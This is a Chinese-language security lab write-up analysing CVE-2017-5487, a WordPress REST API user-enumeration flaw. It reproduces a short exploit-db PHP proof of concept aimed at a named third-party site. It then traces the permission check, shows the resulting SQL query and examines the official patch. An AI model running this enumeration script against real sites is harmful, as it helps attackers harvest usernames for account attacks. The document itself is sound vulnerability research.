Author: p0wd3r (知道創宇404安全實驗室)

Date: 2017-03-05

0x00 漏洞概述

漏洞簡介

近日 exploit-db 上公布了一個 Wordpress < 4.7.1 的用戶名枚舉漏洞:https://www.exploit-db.com/exploits/41497/ ,實際上該漏洞于1月14號就已經在互聯網上公布,并賦予了 CVE-2017-5487。利用該漏洞攻擊者可以在未授權狀態下獲取之前發布過文章的用戶的用戶名、id 等信息。

漏洞影響

未授權狀態下獲取之前發布過文章的用戶的用戶名、 id 等信息。

觸發前提:Wordpress 配置 REST API

影響版本:< 4.7.1

0x01 漏洞復現

環境搭建

下載相應版本的 Wordpress ,然后配置 REST API,具體參見:https://www.seebug.org/vuldb/ssvid-92637

復現

我們先看 exploit-db 上給出的 exp :

#!usr/bin/php
<?php

#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');


$url= "https://bucaneiras.org/";
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
    echo "*-----------------------------*\n";
foreach($json as $users){
    echo "[*] ID :  |" .$users['id']     ."|\n";
    echo "[*] Name: |" .$users['name']   ."|\n";
    echo "[*] User :|" .$users['slug']   ."|\n";
    echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}


?>

可以看到它是利用 REST API 來獲取用戶的信息,對應的文件是wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php,接下來使用 exp 并且開啟動態調試。

首先程序進入get_items_permissions_check函數:

/**
     * Permissions check for getting all users.
     *
     * @since 4.7.0
     * @access public
     *
     * @param WP_REST_Request $request Full details about the request.
     * @return true|WP_Error True if the request has read access, otherwise WP_Error object.
     */
    public function get_items_permissions_check( $request ) {
        // Check if roles is specified in GET request and if user can list users.
        if ( ! empty( $request['roles'] ) && ! current_user_can( 'list_users' ) ) {
            return new WP_Error( 'rest_user_cannot_view', __( 'Sorry, you are not allowed to filter users by role.' ), array( 'status' => rest_authorization_required_code() ) );
        }

        if ( 'edit' === $request['context'] && ! current_user_can( 'list_users' ) ) {
            return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to list users.' ), array( 'status' => rest_authorization_required_code() ) );
        }

        if ( in_array( $request['orderby'], array( 'email', 'registered_date' ), true ) && ! current_user_can( 'list_users' ) ) {
            return new WP_Error( 'rest_forbidden_orderby', __( 'Sorry, you are not allowed to order users by this parameter.' ), array( 'status' => rest_authorization_required_code() ) );
        }

        return true;
    }

函數中有三個條件語句,如果條件成立就返回錯誤。但是仔細看每一個的條件都是 $request[xxx] && ! current_user_can( 'list_users' ),這也就意味者只要前面的語句不成立,那么后面的current_user_can('list_users')就失去了作用。至于$request['roles']$request['context']$request['orderby']的值,通過調試我們可以看到,三者值如下:

request_array.png

均不符合條件,所以函數返回true,成功通過了權限檢查。

接下來程序進入了get_items函數,先是設置了一些查詢參數然后使用$query = new WP_User_Query( $prepared_args );進行查詢,我們直接在WP_User_Queryquery函數處下斷點:

./break_query.png

$this->request即為執行的查詢,其值如下:

SELECT SQL_CALC_FOUND_ROWS wp_users.* FROM wp_users WHERE 1=1 AND wp_users.ID IN ( SELECT DISTINCT wp_posts.post_author FROM wp_posts WHERE wp_posts.post_status = 'publish' AND wp_posts.post_type IN ( 'post', 'page', 'attachment' ) ) ORDER BY display_name ASC LIMIT 0, 10

可見該 API 可以獲取的用戶必須滿足以下幾個條件:

  • 發表過文章
  • 文章的當前狀態是publish
  • 文章類型是postpageattachment其中之一

在我們的環境中,admin 用戶默認會有文章,所以我們執行 exp 后會得到 admin 的一些信息:

./admin_info.png

接下來我們再創建一個新的用戶 tommy,再執行 exp 發現結果和上面一樣,原因就是因為還沒有發文章。我們登錄 tommy 并發布一篇文章,然后再執行 exp:

./tommy.png

這回就可以獲取 tommy 的信息了。

0x02 補丁分析

Wordpress 官方給出的補丁如下:

./commit.png

Only show users that have authored a post of a post type that has show_in_rest set to true.

意思是僅當用戶發表的文章的類型的show_in_rest屬性為true時,才可以獲取該用戶的信息。

在代碼層面上,補丁設置了$prepared_args['has_published_posts']的值,該值在構造查詢語句時會用到:

if ( $qv['has_published_posts'] && $blog_id ) {
            if ( true === $qv['has_published_posts'] ) {
                $post_types = get_post_types( array( 'public' => true ) );
            } else {
                $post_types = (array) $qv['has_published_posts'];
            }
...

將查詢中的$post_type設置為show_in_rest=true的那些類型,那么哪些類型的show_in_resttrue呢?

wp-includes/post.php中的create_initial_post_types函數中可以看到postpageattachmentshow_in_rest均為true,和補丁前查詢中的類型一致,也就是說其實最新版本在默認情況下還是可以使用這個 exp 的,實際測試的結果也是如此:

exp_again.png

至于為什么這樣,筆者認為可能該 API 的設計意圖就是讓其他人獲得發布過文章的用戶的用戶名,因為文章已經公開了,用戶名自然也就公開了。這次補丁給了用戶更多的定制化空間,因為用戶可以自己通過register_post_type來創建文章類型,補丁中提供的show_in_rest屬性可以讓用戶自己選擇用戶信息對于 API 的可見性。

本文寫得實在倉促,如果哪里有不對的地方,還望大家多多指教。

0x03 參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/239/